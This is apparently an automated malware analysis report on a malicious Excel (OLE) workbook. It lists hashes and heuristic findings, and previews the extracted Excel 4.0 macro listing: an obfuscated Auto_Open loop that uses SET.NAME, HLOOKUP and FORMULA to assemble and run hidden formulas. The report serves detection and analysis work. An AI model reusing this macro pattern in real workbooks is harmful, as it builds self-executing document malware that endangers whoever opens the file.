Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5f68dc55ef3c9de…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:04 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: af36e0442c2940737b8aa02e131606ac SHA-1: 40454c7fbf06deb6e0d5aff3649ac4e364ea2216 SHA-256: d5f68dc55ef3c9de744eb75e564b8a01d3de9957a021ac25068e4508c6602f26
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6597 bytes
SHA-256: 179159e88c441cf33b8986faeb28ec94c7aada5598a6fa1146ae8a77f7120b65
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cQMbcGgR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A144 
' 0018     21 LABEL : Cell Value, String Constant - CDJnpS len=0 
' 0018     21 LABEL : Cell Value, String Constant - dBLZSM len=0 
' 0018     21 LABEL : Cell Value, String Constant - dLcuul len=0 
' 0018     20 LABEL : Cell Value, String Constant - dYulj len=0 
' 0018     22 LABEL : Cell Value, String Constant - FAtgBVO len=0 
' 0018     20 LABEL : Cell Value, String Constant - GAspE len=0 
' 0018     22 LABEL : Cell Value, String Constant - hFRqLRa len=0 
' 0018     22 LABEL : Cell Value, String Constant - JKhWTgs len=0 
' 0018     26 LABEL : Cell Value, String Constant - JMUqaXTMsVj len=0 
' 0018     24 LABEL : Cell Value, String Constant - jXNZyRpau len=0 
' 0018     24 LABEL : Cell Value, String Constant - KxXARtRrm len=0 
' 0018     24 LABEL : Cell Value, String Constant - QVcePQQqw len=0 
' 0018     26 LABEL : Cell Value, String Constant - QVdmLsvlstt len=0 
' 0018     22 LABEL : Cell Value, String Constant - rHvDQxl len=0 
' 0018     23 LABEL : Cell Value, String Constant - rmEseVQU len=0 
' 0018     26 LABEL : Cell Value, String Constant - tQWQctRCWhE len=0 
' 0018     22 LABEL : Cell Value, String Constant - TtjMFMi len=0 
' 0018     27 LABEL : Cell Value, String Constant - TzwyFkPFgYZB len=0 
' 0018     25 LABEL : Cell Value, String Constant - yTSsPZCxAV len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZSSCkwuxsqge len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cQMbcGgR,A53,"SET.NAME("TzwyFkPFgYZB",VALUE("0"))",""
'  cQMbcGgR,A57,"SET.NAME("QVdmLsvlstt",TzwyFkPFgYZB)",""
'  cQMbcGgR,A62,"SET.NAME("JMUqaXTMsVj",TzwyFkPFgYZB)",""
'  cQMbcGgR,A64,"SET.NAME("rHvDQxl",COUNTA(JKhWTgs))",""
'  cQMbcGgR,A68,"SET.NAME("dYulj",COUNTA(GAspE))",""
'  cQMbcGgR,A72,[],""
'  cQMbcGgR,A76,"SET.NAME("tQWQctRCWhE","")",""
'  cQMbcGgR,A79,"QVdmLsvlstt",""
'  cQMbcGgR,A83,"SET.NAME("dLcuul",HLOOKUP("*",JKhWTgs,QVdmLsvlstt,FALSE))",""
'  cQMbcGgR,A88,"CDJnpS",""
'  cQMbcGgR,A91,"SET.NAME("dBLZSM",TzwyFkPFgYZB)",""
'  cQMbcGgR,A95,[],""
'  cQMbcGgR,A98,"dBLZSM",""
'  cQMbcGgR,A100,"KxXARtRrm",""
'  cQMbcGgR,A105,"jXNZyRpau",""
'  cQMbcGgR,A110,"ZSSCkwuxsqge",""
'  cQMbcGgR,A112,"SET.NAME("yTSsPZCxAV",VALUE(HLOOKUP("*",GAspE,ZSSCkwuxsqge,FALSE)))",""
'  cQMbcGgR,A114,"TtjMFMi",""
'  cQMbcGgR,A116,"tQWQctRCWhE",""
'  cQMbcGgR,A121,"JMUqaXTMsVj",""
'  cQMbcGgR,A126,NEXT(),""
'  cQMbcGgR,A128,"rmEseVQU",""
'  cQMbcGgR,A130,"SET.NAME("f",INT(T(FORMULA(T(tQWQctRCWhE)&"",""&T(rmEseVQU)))))",""
'  cQMbcGgR,A133,"FAtgBVO",""
'  cQMbcGgR,A137,NEXT(),""
'  cQMbcGgR,A141,RETURN(),""
'  cQMbcGgR,A170,"SET.NAME("hFRqLRa",A53)",""
'  cQMbcGgR,A173,"JKhWTgs",""
'  cQMbcGgR,A175,"SET.NAME("GAspE",R68C13)",""
'  cQMbcGgR,A179,"SET.NAME("FAtgBVO",190)",""
'  cQMbcGgR,A184,"SET.NAME("QVcePQQqw",1)",""
'  cQMbcGgR,A189,hFRqLRa(),""
'  cQMbcGgR,A190,HALT(),""

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